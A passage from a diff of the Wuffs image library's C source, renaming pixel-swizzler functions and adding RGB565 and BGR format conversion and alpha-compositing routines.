wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ uint32_t r5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t b5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 4; +- d += 1 * 4; ++ s += 1 * 3; ++ d += 1 * 2; + n -= 1; + } + +@@ -22425,16 +23496,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22442,14 +23513,15 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22457,16 +23529,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22474,32 +23546,54 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( + // TODO: unroll. + + while (n >= 1) { +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- s0))); +- +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 4; ++ d += 1 * 2; ++ n -= 1; + } + + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++wuffs_private_impl__swizzle_bgr_565__rgba_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22507,17 +23601,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); + +- s += 1 * 8; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22525,47 +23616,70 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over( ++wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22573,12 +23687,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); ++ uint32_t y5 = (uint32_t)(s[0] >> 3); ++ uint32_t y6 = (uint32_t)(s[0] >> 2); ++ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 3; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + +@@ -22586,15 +23701,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++wuffs_private_impl__swizzle_bgr_565__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22602,12 +23717,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); ++ uint32_t y5 = (uint32_t)(s[0] >> 3); ++ uint32_t y6 = (uint32_t)(s[0] >> 2); ++ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + + s += 1 * 2; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22615,15 +23731,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22631,100 +23747,121 @@ wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); + +- s += 1 * 4; +- d += 1 * 4; ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ s0))); ++ ++ s += 1 * 2; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // +- +0x00, +0x06, +0x07, +0x08, // +- +0x00, +0x03, +0x04, +0x05, // +- +0x00, +0x00, +0x01, +0x02); +- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00); ++ // TODO: unroll. + +- while (n >= 6) { +- __m128i x; +- x = _mm_lddqu_si128((const __m128i*)(const void*)s); +- x = _mm_shuffle_epi8(x, shuffle); +- x = _mm_or_si128(x, or_ff); +- _mm_storeu_si128((__m128i*)(void*)d, x); ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[1]); ++ uint32_t sy = 0x101 * ((uint32_t)s[0]); + +- s += 4 * 3; +- d += 4 * 4; +- n -= 4; +- } ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; + +- while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += 1 * 3; +- d += 1 * 4; ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sy * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sy * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sy * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 2; ++ d += 1 * 2; + n -= 1; + } + + return len; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ const size_t loop_unroll_count = 4; ++ ++ while (n >= loop_unroll_count) { ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); ++ ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 2; ++ n -= loop_unroll_count; ++ } ++ + while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); + +- s += 1 * 3; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + +@@ -22732,15 +23869,19 @@ wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22748,82 +23889,83 @@ wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0))); + +- s += 1 * 4; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = 0xFF; +- d[7] = 0xFF; ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); ++ } + +- s += 1 * 3; +- d += 1 * 8; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + + s += 1 * 2; +- d += 1 * 8; ++ d += 1 * 3; + n -= 1; + } + +@@ -22831,87 +23973,46 @@ wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = 0xFF; +- d[7] = 0xFF; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; +- } +- +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // TODO: unroll. + + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s2; +- d[2] = s1; +- d[3] = s1; +- d[4] = s0; +- d[5] = s0; +- d[6] = 0xFF; +- d[7] = 0xFF; ++ uint32_t s0 = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 3; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22919,13 +24020,12 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint32_t s0 = ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s 